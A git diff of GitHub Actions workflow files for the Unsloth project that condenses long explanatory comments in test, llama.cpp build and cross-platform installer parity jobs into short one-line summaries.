- # Run contamination-sensitive files in separate processes. Keep collecting
- # results after failures, and treat pytest exit 5 as a module-level skip.
+ # Treat pytest exit 5 as a module-level skip.
rc=0
_keep() {
if [ "$1" = 5 ]; then
- # Named: an expected module-level skip and a file that stopped collecting
- # for a new reason both exit 5.
echo "note: ${2:-that run} collected nothing (module-level skip), not a failure"
else
rc=1
@@ -2452,12 +2095,10 @@ jobs:
python -m pytest -q --tb=short tests/test_mlx_gated_delta_vjp.py || _keep "$?" tests/test_mlx_gated_delta_vjp.py
python -m pytest -q --tb=short tests/test_gemma3_forced_float32_boundary_dtype.py || _keep "$?" tests/test_gemma3_forced_float32_boundary_dtype.py
- # Run the remaining MLX files serially in alphabetical order. The three isolated
- # above also contaminate this group, so exclude them from its file list.
+ # The three isolated files above also contaminate this group, so exclude them.
mlx_group=$(ls tests/test_mlx_*.py |
grep -vE 'tests/test_mlx_(generate|neftune_quant_map|gated_delta_vjp)\.py$')
- # Passed unquoted below to word-split into file arguments, so an empty list
- # would pass none and pytest would collect the whole rootdir instead.
+ # Empty list would make pytest collect the whole rootdir.
if [ -z "$mlx_group" ]; then
echo "::error::the mlx group glob matched no files"
exit 1
@@ -2466,16 +2107,8 @@ jobs:
exit "$rc"
- name: unsloth_zoo — test_apply_fused_lm_head (lives in compiler.py)
- # `test_apply_fused_lm_head` lives at unsloth_zoo/compiler.py:1983,
- # not under tests/, so pytest's default discovery does not pick it up.
- # We route it through pytest by writing a one-shot shim test file
- # inside the unsloth checkout's tests/ — pytest then walks UP and
- # picks up tests/conftest.py, whose GPU-spoof harness (lines 84-141)
- # patches torch.cuda.is_available, torch.cuda.memory.mem_get_info,
- # torch.cuda.get_device_capability, and is_bf16_supported. That full
- # spoof is required because unsloth_zoo/temporary_patches/gpt_oss.py
- # at module load reads torch.cuda.memory.mem_get_info(0), which
- # bare `is_available = True` doesn't cover. Env inherited.
+ # test_apply_fused_lm_head lives in unsloth_zoo/compiler.py, so run it via a shim in tests/
+ # to get conftest.py's full GPU spoof (gpt_oss reads mem_get_info at import).
run: |
set -euxo pipefail
cat > tests/_zoo_apply_fused_lm_head_shim.py <<'PY'
@@ -2502,9 +2135,7 @@ jobs:
python -c "import sys, platform; print(sys.version); print(platform.platform())"
python -c "import torch; print('torch', torch.__version__, 'cuda?', torch.cuda.is_available())"
python -c "import transformers; print('transformers', transformers.__version__)"
- # `pip show` instead of `import unsloth_zoo` — its __init__ raises
- # without an accelerator and the spoof harness only kicks in under
- # pytest. Cheap and accurate.
+ # pip show: importing unsloth_zoo raises without an accelerator outside pytest.
pip show unsloth_zoo
echo "::endgroup::"
echo "Core zoo job done. Coverage:"
@@ -2512,22 +2143,12 @@ jobs:
echo " - unsloth_zoo.compiler.test_apply_fused_lm_head"
llama-cpp-smoke:
- # Standalone llama.cpp build + smoke. Earlier this lived inside every
- # consolidated matrix cell and re-cmake'd llama.cpp ~5 min per cell --
- # 3 cells x 275 s = ~14 min of duplicated CPU on every PR for an
- # artefact that has nothing to do with the (transformers, TRL) combo.
- # `install_llama_cpp` clones ggml-org/llama.cpp at a pinned commit and
- # builds the LLAMA_CPP_TARGETS list; the result is independent of the
- # HF stack version. Run once, gate the PR.
+ # Built once outside the matrix: the result does not depend on the HF stack version.
name: llama.cpp build + smoke
runs-on: ubuntu-24.04
timeout-minutes: 25
env:
UNSLOTH_ZOO_REF: ${{ inputs.unsloth_zoo_ref || 'main' }}
- # Same env contract the matrix cells use: protobuf python parser
- # (transformers' bundled *_pb2.py needs it), studio on PYTHONPATH,
- # compile-disable + UNSLOTH_IS_PRESENT so unsloth_zoo's __init__
- # bootstrap accepts a pure-import.
PROTOCOL_BUFFERS_PYTHON_IMPLEMENTATION: python
PYTHONPATH: ${{ github.workspace }}/studio
UNSLOTH_COMPILE_DISABLE: '1'
@@ -2551,42 +2172,23 @@ jobs:
studio/backend/requirements/*.txt
- name: Install runtime deps for unsloth_zoo.llama_cpp
- # unsloth_zoo's `__init__` imports `temporary_patches`, which
- # in turn pulls per-architecture submodules (gemma3n, gemma4,
- # qwen3_*_moe, glm4_moe, deepseek_v3_moe, pixtral, ministral,
- # mxfp4, bitsandbytes, flex_attention_bwd) -- many of those
- # transitively touch transformers and peft / accelerate. Mirror
- # the matrix job's install minus the heavy bits that have no
- # bearing on `install_llama_cpp` itself: studio.txt's FastAPI
- # stack, bitsandbytes (CUDA-only build dependency), triton,
- # mammoth/unpdf (PDF tools), datasets, sqlalchemy/cryptography,
- # pytest (we run no tests). The remaining pin shape matches
- # studio-backend-ci.yml's "Repo tests (CPU)" baseline.
run: |
set -euxo pipefail
python -m pip install --upgrade pip
- # Match the matrix job's torch path so unsloth_zoo's
- # `import torch` resolves to the same CPU build.
pip install --index-url https://download.pytorch.org/whl/cpu --extra-index-url https://pypi.org/simple \
'torch>=2.4,<2.11' 'torchvision<0.26'
pip install \
'numpy<3' protobuf sentencepiece \
requests tqdm psutil packaging safetensors \
'peft>=0.18,<0.20' 'accelerate>=0.34,<2'
- # transformers + trl come from pyproject.toml's pinned line
- # so this job stays in sync with whatever the consolidated
- # `__from_pyproject__` matrix cell is using.
pip install transformers trl
pip install -e . --no-deps
- name: Clone unsloth_zoo @ ${{ env.UNSLOTH_ZOO_REF }}
- # Same shallow clone as the matrix job; we install editable so
- # `unsloth_zoo.llama_cpp` resolves to the cloned tree (and any
- # main-branch fixes flow into the smoke without a release).
+ # Editable so unsloth_zoo.llama_cpp resolves to the cloned tree.
run: |
set -euxo pipefail
- # github.com occasionally 500s on the git fetch; retry so a
- # single upstream blip does not fail CI.
+ # github.com occasionally 500s on fetch; retry.
for attempt in 1 2 3; do
rm -rf "$RUNNER_TEMP/unsloth-zoo"
if git clone --depth=1 --branch="$UNSLOTH_ZOO_REF" \
@@ -2606,45 +2208,13 @@ jobs:
pip show unsloth_zoo
- name: llama.cpp install via unsloth_zoo.llama_cpp + CLI `--help` smoke
- # Bounds the apt preamble below rather than leaving the job's 25m to do
- # it: 2 x 300s of attempts plus a lock wait is 12m of the 22, and the
- # llama.cpp build that follows has the rest.
+ # Bounds the apt preamble: 2 x 300s attempts plus a lock wait, leaving time for the build.
timeout-minutes: 22
- # Exercise the canonical `unsloth_zoo.llama_cpp.install_llama_cpp`
- # flow that GGUF export uses at runtime: clone ggml-org/llama.cpp
- # into ~/.unsloth/llama.cpp, build the LLAMA_CPP_TARGETS list
- # (llama-quantize, llama-cli, llama-mtmd-cli, llama-gguf-split,
- # llama-server) via cmake, then run `--help` on whichever CLI
- # inference binary the build actually produced.
- #
- # This replaces the previous "download upstream prebuilt zip"
- # approach, which silently exited 0 with the message
- # "no ubuntu-x64 prebuilt asset" when ggml-org's release-asset
- # naming drifted (the regex `bin-ubuntu-x64.*\.zip$` no longer
- # matched their current asset names). The build path is the same
- # one Unsloth users hit in production via `model.save_pretrained_gguf`.
- #
- # We do NOT hard-require `llama-cli` specifically: upstream
- # ggml-org/llama.cpp moved the cli/server/ui targets behind the
- # `LLAMA_BUILD_SERVER` cmake option (tools/CMakeLists.txt) and the
- # set of binaries that survive a given checkout drifts over time
- # (e.g. a recent build root shipped llama-server + llama-quantize
- # + llama-diffusion-cli but no llama-cli). The durable contract is
- # "install_llama_cpp produced a working CLI inference binary AND a
- # working quantizer", so we --help-probe the first of
- # llama-cli / llama-mtmd-cli / llama-server that exists. If a
- # future llama.cpp restores llama-cli it is first in the list and
- # is preferred, so this stays backwards compatible.
- #
- # Wall-time budget: ~3-5 min cold, dominated by cmake build of
- # 5 targets on the runner's 4 cores. Apt-package install is
- # handled by `install_llama_cpp` itself via its
- # `check_build_requirements` -> `install_package` chain.
+ # Runs the real install_llama_cpp flow used by GGUF export, then --help-probes the first of
+ # llama-cli / llama-mtmd-cli / llama-server present (upstream target sets drift).
run: |
set -euxo pipefail
- # libssl-dev / libcurl4-openssl-dev are needed by llama.cpp's
- # cmake build for HTTPS support; install up-front so the
- # `install_llama_cpp` requirement-check is a no-op.
+ # Needed for llama.cpp HTTPS support; preinstall so the requirement check is a no-op.
RETRY_ATTEMPTS=2 RETRY_ATTEMPT_TIMEOUT=300 \
bash .github/scripts/retry-with-apt-lock.sh sudo sh -c \
'apt-get install -y -qq build-essential cmake git curl libgomp1 libssl-dev libcurl4-openssl-dev || { apt-get update -qq && apt-get install -y -qq build-essential cmake git curl libgomp1 libssl-dev libcurl4-openssl-dev; }'
diff --git a/.github/workflows/cross-platform-parity-ci.yml b/.github/workflows/cross-platform-parity-ci.yml
index 82ff2027602..1e005f1244c 100644
--- a/.github/workflows/cross-platform-parity-ci.yml
+++ b/.github/workflows/cross-platform-parity-ci.yml
@@ -1,29 +1,7 @@
# SPDX-License-Identifier: AGPL-3.0-only
# Copyright 2026-present the Unsloth AI Inc. team. All rights reserved.
-# Runs installer parity and autostart opt-out tests across all three platforms.
-#
-# Why: the parity test guards that install.sh and install.ps1 stay in sync.
-# It originally ran only on ubuntu-latest through studio-backend-ci.yml.
-# On Windows, Path.read_text() defaults to the cp1252 locale encoding, so a
-# non-cp1252 byte in install.sh raises UnicodeDecodeError even though Linux
-# and macOS default to UTF-8. The reads were pinned to encoding="utf-8" in
-# #6166; this matrix keeps that from silently regressing. Pure pytest, no GPU,
-# sub-second, so the matrix is cheap. Linux also runs the POSIX rollback test
-# under dash, matching the supported curl-to-sh installer path.
-#
-# The interactive-prompt guard rides along for the same reason: a text scan over
-# the same scripts, refusing new yes/no questions (see #7016, reverted in #8040).
-# Its paths are globbed, since a newly named installer has to trigger the very
-# check that refuses to let it land unregistered.
-#
-# The setup-output encoding tests ride along for the same reason again, and it is
-# the sharpest case of it: they spawn install.ps1's and setup.ps1's own banner
-# under Windows PowerShell 5.1 with the flags and the CREATE_NO_WINDOW the
-# desktop app uses, so on Linux they either skip or fall back to pwsh 7, which is
-# UTF-8 by default and cannot reproduce anything. Backend CI already collects
-# that file on ubuntu, which covers its source contracts; this row is the only
-# place its byte-level half means something.
+# Installer parity and autostart opt-out tests on all three platforms; Windows reads pin utf-8.
name: Cross-platform parity
@@ -33,11 +11,7 @@ on:
- 'install.sh'
- 'install.ps1'
- 'unsloth_cli/__init__.py'
- # The System32 working-directory guard the CLI callback runs; all of that
- # logic lives here now, so an edit to it alone must still run this leg.
- 'unsloth_cli/_system_dir_guard.py'
- # test_installer_profile_hardening.py asserts this module directly (unconditional
- # -NoProfile, the proxy handoff), so a change to it has to run here.
- 'unsloth_cli/commands/studio.py'
- 'tests/test_installer_skip_autostart.py'
- 'tests/test_installer_system32_guard.py'
@@ -73,9 +47,7 @@ on:
- 'studio/systemd/install_user_service.sh'
- 'studio/backend/requirements/single-env/patch_metadata.py'
- 'tests/python/test_cross_platform_parity.py'
- # This is the only lane that executes it, and the Windows smoke workflow it moved
- # from deliberately skips it, so without this line a PR editing only the test
- # would never run it.
+ # The only lane that runs this test; the Windows smoke workflow skips it.
- 'tests/studio/test_path_resolver_degrades.ps1'
- 'tests/python/test_windows_python_venv_hardening.py'
- 'tests/python/test_windows_setup_output_encoding.py'
@@ -84,19 +56,12 @@ on:
- 'tests/python/test_installer_helper_declaration_order.py'
- 'tests/python/test_installer_embedded_nvidia_probe.py'
- 'tests/python/test_pwsh_runner_encoding.py'
- # The deliberate unreadable-directory and traversal-limit cases for the
- # no-compiler detector's temp scan live in this job, and only here. The
- # no-compiler workflow runs the scanner's positive control but never creates
- # those conditions, so without both lines a PR touching only the scanner
- # could regress the error handling with nothing red.
+ # The scanner's unreadable-directory and traversal-limit cases run only in this job.
- '.github/scripts/Watch-ForCompiler.ps1'
- 'tests/python/test_compiler_watch_temp_scan.py'
- # Every PowerShell test in this job shells out through it, so a change here can break
- # all of them. It was in no path filter, so it triggered nothing.
+ # Every PowerShell test here shells out through this runner.
- 'tests/_shared/unsloth_pwsh_runner.py'
- # studio-backend-ci runs tests/studio/install on ubuntu only, so the windows
- # row here is the sole place the keep path meets a real loader. install_*.py
- # above is only the entrypoint; these two are the rest of what it loads.
+ # The windows row is the only place the keep path meets a real loader.
- 'tests/studio/install/test_keep_install_backcompat_9979.py'
- 'studio/prebuilt_core.py'
- 'studio/nvidia_probe.py'
@@ -120,24 +85,14 @@ on:
- 'tests/studio/test_nvidia_adapter_presence.ps1'
- 'tests/studio/test_nvidia_presence_xpu_timeout.ps1'
- 'tests/studio/test_application_control_cli_fallback.ps1'
- # test_application_control_cli_fallback.ps1 pins install.ps1's trampoline against
- # process.rs's, so a change to either spelling has to run here.
+ # test_application_control_cli_fallback.ps1 pins install.ps1's trampoline against process.rs's.
- 'studio/src-tauri/src/process.rs'
- 'tests/sh/test_install_sh_xpu_flavor_probe.sh'
- 'tests/sh/test_setup_xpu_fastpath_escape.sh'
- 'tests/sh/test_setup_xpu_posix_summary.sh'
- 'studio/setup.sh'
- '.github/workflows/cross-platform-parity-ci.yml'
- # Read or executed by the parity tests above but not matched by any entry:
- # test_install_rollback_lifecycle.sh sources _harness.sh and _ps1_source.sh;
- # test_windows_setup_output_encoding.py dot-sources Get-FunctionSource.ps1 and
- # asserts on install.rs and update.rs next to process.rs;
- # test_installer_skip_autostart.py asserts on README.md;
- # test_installer_profile_hardening.py imports unsloth_cli.commands, which imports
- # every command module; prebuilt_core.py imports auth_safe.py and llama_backend.py
- # needs its package init. The pytest step runs from the repo root, so the root
- # conftest, tests/_shared and the pytest config in pyproject.toml apply on all
- # three operating systems.
+ # Read, sourced or imported by the tests above without matching any entry.
- 'tests/sh/_harness.sh'
- 'tests/sh/_ps1_source.sh'
- 'tests/studio_setup_ps1/Get-FunctionSource.ps1'
@@ -158,11 +113,7 @@ on:
- 'install.sh'
- 'install.ps1'
- 'unsloth_cli/__init__.py'
- # The System32 working-directory guard the CLI callback runs; all of that
- # logic lives here now, so an edit to it alone must still run this leg.
- 'unsloth_cli/_system_dir_guard.py'
- # test_installer_profile_hardening.py asserts this module directly (unconditional
- # -NoProfile, the proxy handoff), so a change to it has to run here.
- 'unsloth_cli/commands/studio.py'
- 'tests/test_installer_skip_autostart.py'
- 'tests/test_installer_system32_guard.py'
@@ -198,9 +149,7 @@ on:
- 'studio/systemd/install_user_service.sh'
- 'studio/backend/requirements/single-env/patch_metadata.py'
- 'tests/python/test_cross_platform_parity.py'
- # This is the only lane that executes it, and the Windows smoke workflow it moved
- # from deliberately skips it, so without this line a PR editing only the test
- # would never run it.
+ # The only lane that runs this test; the Windows smoke workflow skips it.
- 'tests/studio/test_path_resolver_degrades.ps1'
- 'tests/python/test_windows_python_venv_hardening.py'
- 'tests/python/test_windows_setup_output_encoding.py'
@@ -209,19 +158,12 @@ on:
- 'tests/python/test_installer_helper_declaration_order.py'
- 'tests/python/test_installer_embedded_nvidia_probe.py'
- 'tests/python/test_pwsh_runner_encoding.py'
- # The deliberate unreadable-directory and traversal-limit cases for the
- # no-compiler detector's temp scan live in this job, and only here. The
- # no-compiler workflow runs the scanner's positive control but never creates
- # those conditions, so without both lines a PR touching only the scanner
- # could regress the error handling with nothing red.
+ # The scanner's unreadable-directory and traversal-limit cases run only in this job.
- '.github/scripts/Watch-ForCompiler.ps1'
- 'tests/python/test_compiler_watch_temp_scan.py'
- # Every PowerShell test in this job shells out through it, so a change here can break
- # all of them. It was in no path filter, so it triggered nothing.
+ # Every PowerShell test here shells out through this runner.
- 'tests/_shared/unsloth_pwsh_runner.py'
- # studio-backend-ci runs tests/studio/install on ubuntu only, so the windows
- # row here is the sole place the keep path meets a real loader. install_*.py
- # above is only the entrypoint; these two are the rest of what it loads.
+ # The windows row is the only place the keep path meets a real loader.
- 'tests/studio/install/test_keep_install_backcompat_9979.py'
- 'studio/prebuilt_core.py'
- 'studio/nvidia_probe.py'
@@ -245,24 +187,14 @@ on:
- 'tests/studio/test_nvidia_adapter_presence.ps1'
- 'tests/studio/test_nvidia_presence_xpu_timeout.ps1'
- 'tests/studio/test_application_control_cli_fallback.ps1'
- # test_application_control_cli_fallback.ps1 pins install.ps1's trampoline against
- # process.rs's, so a change to either spelling has to run here.
+ # test_application_control_cli_fallback.ps1 pins install.ps1's trampoline against process.rs's.
- 'studio/src-tauri/src/process.rs'
- 'tests/sh/test_install_sh_xpu_flavor_probe.sh'
- 'tests/sh/test_setup_xpu_fastpath_escape.sh'
- 'tests/sh/test_setup_xpu_posix_summary.sh'
- 'studio/setup.sh'
- '.github/workflows/cross-platform-parity-ci.yml'
- # Read or executed by the parity tests above but not matched by any entry:
- # test_install_rollback_lifecycle.sh sources _harness.sh and _ps1_source.sh;
- # test_windows_setup_output_encoding.py dot-sources Get-FunctionSource.ps1 and
- # asserts on install.rs and update.rs next to process.rs;
- # test_installer_skip_autostart.py asserts on README.md;
- # test_installer_profile_hardening.py imports unsloth_cli.commands, which imports
- # every command module; prebuilt_core.py imports auth_safe.py and llama_backend.py
- # needs its package init. The pytest step runs from the repo root, so the root
- # conftest, tests/_shared and the pytest config in pyproject.toml apply on all
- # three operating systems.
+ # Read, sourced or imported by the tests above without matching any entry.
- 'tests/sh/_harness.sh'
- 'tests/sh/_ps1_source.sh'
- 'tests/studio_setup_ps1/Get-FunctionSource.ps1'
@@ -295,28 +227,8 @@ jobs:
strategy:
fail-fast: false
matrix:
- # No macOS leg on purpose. This matrix exists for Windows: the parity
- # tests are pure `Path.read_text()` + regex assertions over install.sh /
- # install.ps1 / setup.ps1, and the OS-specific risk they guard is the
- # cp1252 default encoding on Windows. There is no `platform.`,
- # `sys.platform`, `darwin` or `uname` reference anywhere in
- # tests/python/test_cross_platform_parity.py, so the macOS row asserted
- # exactly what the Linux row already asserts. macOS concurrency is
- # capped at 5 account-wide; do not add it back without a Mac-specific
- # assertion to justify it.
- #
- # The three `runner.os != 'Windows'` shell steps below lose nothing
- # either. All three cover Intel XPU logic no Mac can reach: install.sh's
- # flavor guard no-ops on Darwin (get_torch_index_url returns .../cpu
- # there and the guard body only runs for a non-cpu tag), and setup.sh's
- # XPU escape and hardware summary key on a +xpu wheel or an .../whl/xpu
- # pin, which exist for Linux and Windows only. The BSD userland and
- # bash 3.2 exposure of install.sh and setup.sh themselves stays covered
- # on macos-15, where studio-mac-ui-smoke (which absorbed the former
- # studio-mac-update-smoke), studio-mac-inference-smoke,
- # studio-mac-install-matrix and clean-machine-install-ci run them for
- # real (`bash install.sh`, and `unsloth studio update`, which shells
- # out to `bash studio/setup.sh`).
+ # No macOS leg: these tests have no macOS-specific logic (the risk is Windows cp1252), and macOS
+ # concurrency is capped at 5. The non-Windows shell steps cover Intel XPU paths no Mac reaches.
os: [ubuntu-latest, windows-latest]
runs-on: ${{ matrix.os }}
timeout-minutes: 10
@@ -327,14 +239,10 @@ jobs:
- uses: actions/setup-python@5fda3b95a4ea91299a34e894583c3862153e4b97 # v7.0.0
with:
python-version: '3.12'
- # test_installer_profile_hardening.py imports unsloth_cli.commands.studio, which pulls
- # the CLI's import chain; without these the job dies on ModuleNotFoundError before a
- # single test runs. rich arrives through typer today, but unsloth_cli imports it
- # directly, so it is named rather than left to somebody else's dependency list. No
- # torch: UNSLOTH_NO_TORCH keeps the suite off it.
+ # The CLI import chain test_installer_profile_hardening.py pulls in; rich is imported directly
+ # by unsloth_cli. No torch: UNSLOTH_NO_TORCH keeps the suite off it.
- run: python -m pip install -U pip pytest typer pyyaml pydantic click rich
- # -rs: these files are full of platform-gated cases, and a case that
- # silently stopped running on the row it exists for still reports green.
+ # -rs: a platform-gated case that silently stopped running still reports green.
- name: Cross-platform parity tests
env:
UNSLOTH_NO_TORCH: '1'
@@ -360,43 +268,33 @@ jobs:
if: runner.os == 'Windows'
shell: pwsh
run: pwsh -NoProfile -File tests/studio/test_install_rollback_lifecycle.ps1
- # Mocks the registry cmdlets rather than reading a hive, so it runs on all three.
- name: Intel registry fallback tests
shell: pwsh
run: pwsh -NoProfile -File tests/studio/test_intel_registry_fallback.ps1
- # Same reason: the filesystem is mocked, so no real venv or Windows is needed.
- name: Setup XPU pre-report tests
shell: pwsh
run: pwsh -NoProfile -File tests/studio/test_setup_xpu_runtime_prereport.ps1
- # Parses install.ps1 with the AST and executes the extracted builder, so no venv.
- name: XPU arm64 torchaudio tests
shell: pwsh
run: pwsh -NoProfile -File tests/studio/test_xpu_arm64_torchaudio.ps1
- # Same extraction; the spaced-path checks run only on Windows (#10722).
+ # The spaced-path checks run only on Windows.
- name: Torch overrides merge tests
shell: pwsh
run: pwsh -NoProfile -File tests/studio/test_torch_overrides_merge.ps1
- # Same again: mocked filesystem reads and one `python -c` child, so no venv, no AMD GPU and
- # no Windows needed. Read the file header before adding cases -- pwsh 7 cannot reproduce the
- # 5.1 half of #8335, so the checks covering it are deliberately source shapes.
+ # pwsh 7 cannot reproduce the 5.1 half of #8335, so those checks are deliberately source shapes.
- name: AMD venv repair loop tests
shell: pwsh
run: pwsh -NoProfile -File tests/studio/test_amd_venv_repair_loop.ps1
- # The same file under Windows PowerShell 5.1, the shell the CLI actually launches setup.ps1
- # with. Every other step here is `shell: pwsh` (PowerShell 7), and 7 answers `.Count = 1`
- # for the single CimInstance 5.1 answers `$null` for, so only this leg fails on unfixed #8335.
+ # Windows PowerShell 5.1, which the CLI launches setup.ps1 with: 7 returns `.Count = 1` for a
+ # single CimInstance where 5.1 returns `$null`.
- name: AMD venv repair loop tests (Windows PowerShell 5.1)
if: runner.os == 'Windows'
shell: powershell
run: powershell -NoProfile -File tests\studio\test_amd_venv_repair_loop.ps1
- # Slices the shipped $nameArchTable out of install.ps1 and setup.ps1 and resolves GPU
- # names through PowerShell's own -match, so no venv, no AMD GPU and no Windows needed.
- name: AMD GPU-name arch table tests
shell: pwsh
run: pwsh -NoProfile -File tests/studio/test_amd_name_arch_r9700.ps1
- # AST-extracted selectors over a stubbed nvidia-smi and inventory; the real-inventory
- # checks skip on a runner without an NVIDIA driver library. The 5.1 leg compiles the
- # P/Invoke helper with the .NET Framework compiler the CLI's setup.ps1 launch uses.
+ # The 5.1 leg compiles the P/Invoke helper with the .NET Framework compiler setup.ps1 uses.
- name: NVIDIA driver-library inventory tests
shell: pwsh
run: pwsh -NoProfile -File tests/studio/test_nvidia_library_inventory.ps1
@@ -404,8 +302,7 @@ jobs:
if: runner.os == 'Windows'
shell: powershell
run: powershell -NoProfile -File tests\studio\test_nvidia_library_inventory.ps1
- # Both legs, and both matter: the candidate list is what decides whether a real GPU is
- # seen at all, and 5.1 is the host the Desktop app launches the installer in.
+ # Both legs: 5.1 is the host the Desktop app launches the installer in.
- name: nvidia-smi discovery tests
shell: pwsh
run: pwsh -NoProfile -File tests/studio/test_nvidia_smi_discovery.ps1
@@ -413,10 +310,7 @@ jobs:
if: runner.os == 'Windows'
shell: powershell
run: powershell -NoProfile -File tests\studio\test_nvidia_smi_discovery.ps1
- # The inventory's Python rung, which recovers the CUDA version and the per-device compute
- # capabilities on hosts that cannot emit a P/Invoke type. Pins the embedded probe against
- # studio/nvidia_probe.py and against the other copy; the 5.1 leg matters because
- # Constrained Language Mode is one of the policies that make the emitted rung decline.
+ # The 5.1 leg matters: Constrained Language Mode is one policy that makes the emitted rung decline.
- name: NVIDIA Python probe parity tests
shell: pwsh
run: pwsh -NoProfile -File tests/studio/test_nvidia_python_probe_parity.ps1
@@ -424,9 +318,7 @@ jobs:
if: runner.os == 'Windows'
shell: powershell
run: powershell -NoProfile -File tests\studio\test_nvidia_python_probe_parity.ps1
- # Spawns a real holder process and takes the lock through a junction (Windows) or a
- # symbolic link (Linux), so it needs both legs: the alias mechanisms differ per OS and
- # .NET enforces FileShare.None through a different mechanism on each.
+ # Both legs: the alias mechanism (junction vs symlink) and .NET's FileShare.None enforcement differ.
- name: Install lock alias-exclusion tests
shell: pwsh
run: pwsh -NoProfile -File tests/studio/test_install_lock_excludes_aliases.ps1
@@ -471,14 +363,10 @@ jobs:
if: runner.os == 'Windows'
shell: powershell
run: powershell -NoProfile -File tests\studio\test_nvidia_presence_xpu_timeout.ps1
- # AST-extracted helpers plus a real .cmd written to a temp dir, so no venv and no
- # Windows needed. The 1260 classification is exercised against crafted exceptions:
- # a hosted runner has no Application Control policy to be denied by. The enforced
- # end-to-end leg lives in the AppLocker workflow.
+ # Application Control denials (1260) are simulated; the enforced leg is in the AppLocker workflow.
- name: Application Control CLI fallback tests
shell: pwsh
run: pwsh -NoProfile -File tests/studio/test_application_control_cli_fallback.ps1
- # AST-based: they parse scripts/uninstall.ps1 instead of running it, so every row hosts them.
- name: Uninstaller prebuilt parity tests
shell: pwsh
run: pwsh -NoProfile -File tests/studio/test_uninstall_prebuilt_parity.ps1
@@ -502,12 +390,10 @@ jobs:
- name: POSIX uninstaller ownership gate tests
if: runner.os == 'Linux'
run: bash tests/sh/test_uninstall_legacy_layout_gate.sh
- # bash, not sh: the helper under test is extracted from install.sh, which is bash.
+ # bash, not sh: the helper under test is extracted from install.sh.
- name: install.sh XPU flavor probe tests
if: runner.os != 'Windows'
run: bash tests/sh/test_install_sh_xpu_flavor_probe.sh
- # Same reason: the escape and the hardware summary are extracted from setup.sh and run
- # against built venv trees, so no real install is needed.
- name: setup.sh XPU fast-path + summary tests
if: runner.os != 'Windows'
run: |
diff --git a/.github/workflows/desktop-app-clean-machine-ci.yml b/.github/workflows/desktop-app-clean-machine-ci.yml
index 6e2628c1626..902e73e1b39 100644
--- a/.github/workflows/desktop-app-clean-machine-ci.yml
+++ b/.github/workflows/desktop-app-clean-machine-ci.yml
@@ -1,27 +1,14 @@
# SPDX-License-Identifier: AGPL-3.0-only
# Copyright 2026-present the Unsloth AI Inc. team. All rights reserved.
-# Installs and launches the SHIPPED desktop app on a machine stripped of developer
-# tooling, on all three platforms.
-#
-# studio-tauri-smoke.yml compiles the Tauri crate and release-desktop.yml builds the
-# bundles, but neither puts a published artifact on a clean machine and checks it starts
-# -- the gap the reported failures fell through: both came from the packaged app running
-# its bundled Contents/Resources/install.sh, which no CI job exercised.
-#
-# Hosted runners have no interactive desktop session, so "runs" means: the bundle
-# installs; the binary is present, of the right architecture, and clears the gatekeeper
-# checks a user hits (macOS quarantine + codesign, Windows installer exit); the process
-# STAYS UP past preflight, where an unhappy app dies; and it writes tauri.log with a
-# preflight disposition, the field that read `ManagedReady` over an unbootable venv in
-# the bug report. Linux gets the strongest check: a real webview under Xvfb.
+# Installs and launches the SHIPPED desktop app on a machine stripped of developer tooling.
+# No desktop session, so: bundle installs, binary arch and gatekeeper checks, the process stays up past
+# preflight, and tauri.log records a READY disposition. Linux runs a real webview under Xvfb.
name: Desktop app clean machine
on:
- # Also on PRs touching this job or the stripping scripts: dispatch resolves the workflow
- # from the DEFAULT branch, so an edit on a feature branch could only run after a blind
- # merge.
+ # Dispatch resolves the workflow from the default branch, so PRs are needed to test edits.
pull_request:
# ready_for_review: Windows/macOS jobs below skip draft pull requests, so marking
# one ready has to start the run that tests it.
@@ -33,19 +20,12 @@ on:
- '.github/scripts/resolve-desktop-release.py'
- '.github/scripts/clean-machine-env.sh'
- '.github/scripts/clean-machine-assert.sh'
- # The macOS job's toolchain strip step runs this helper by name, and
- # clean-machine-env.sh sources it as a sibling.
- '.github/scripts/clean-machine-install-name-tool.sh'
- '.github/workflows/release-desktop.yml'
- 'studio/src-tauri/linux/**'
- 'studio/src-tauri/src/**'
- 'studio/src-tauri/tauri.conf.json'
- # appimage-pr-build (pull_request only) builds the AppImage from this ref. The
- # lockfile audit runs first and reads every default lockfile; npm ci and npm
- # install --prefix studio read the manifests, lockfiles and .npmrc; tauri build
- # compiles the crate with its build script, and embeds the capabilities, icons and
- # Linux config overlay. A change to any of them changes the artifact the
- # portability and model-download jobs test.
+ # Inputs of the AppImage that appimage-pr-build builds from this ref.
- 'scripts/lockfile_supply_chain_audit.py'
- 'studio/package.json'
- 'studio/package-lock.json'
@@ -71,8 +51,7 @@ on:
release_tag:
description: 'Release tag in the desktop release repo (empty resolves the newest)'
type: string
- # Empty falls through to the newest SemVer v... release that actually carries
- # the platform bundle under test. An explicit tag remains an immutable fixture.
+ # Empty picks the newest SemVer v... release with the platform bundle; a tag is a fixed fixture.
default: ''
release_repo:
description: 'owner/name hosting the desktop release'
@@ -83,7 +62,6 @@ on:
type: boolean
default: true
schedule:
- # Nightly, so a broken published bundle is caught without anyone asking.
- cron: '17 5 * * *'
concurrency:
@@ -94,19 +72,13 @@ concurrency:
cancel-in-progress: ${{ github.event_name == 'pull_request' }}
permissions:
- # Drafts are listed only to a token with push access. Clean-machine CI intentionally
- # includes review drafts, so read-only contents permission cannot resolve every candidate.
+ # Drafts are listed only to a token with push access, and review drafts are tested.
contents: write
env:
- # release-desktop.yml publishes into github.repository, so a nightly aimed anywhere else
- # goes green over a broken production bundle (unsloth-test holds one frozen release, so
- # the schedule kept re-testing the same fixture).
+ # release-desktop.yml publishes here; a nightly against another repo tests a frozen fixture.
REL_REPO: ${{ inputs.release_repo || github.repository }}
- # Empty unless dispatched: a pinned tag is an immutable fixture, so a nightly against it
- # could never catch a newly published broken bundle. Each download step resolves the
- # newest SemVer v... release carrying its required asset, drafts included. gh release
- # list/download use the draft-aware GraphQL path with this workflow's write token.
+ # Empty unless dispatched, so the nightly always resolves the newest release (drafts included).
REL_TAG: ${{ inputs.release_tag || '' }}
UNSLOTH_STUDIO_HOME: ${{ github.workspace }}/.studio-home
UNSLOTH_STUDIO_DISABLE_PUBLIC_CHECK: '1'
@@ -124,8 +96,7 @@ jobs:
continue-on-error: ${{ matrix.experimental }}
env:
- # Force the bundled installer through uv's first managed-Python download rather
- # than reusing runner state outside the ordinary cache.
+ # Forces the bundled installer through uv's first managed-Python download.
UV_CACHE_DIR: ${{ github.workspace }}/.clean-machine/uv-cache
UV_PYTHON_INSTALL_DIR: ${{ github.workspace }}/.clean-machine/uv-python
strategy:
@@ -151,8 +122,7 @@ jobs:
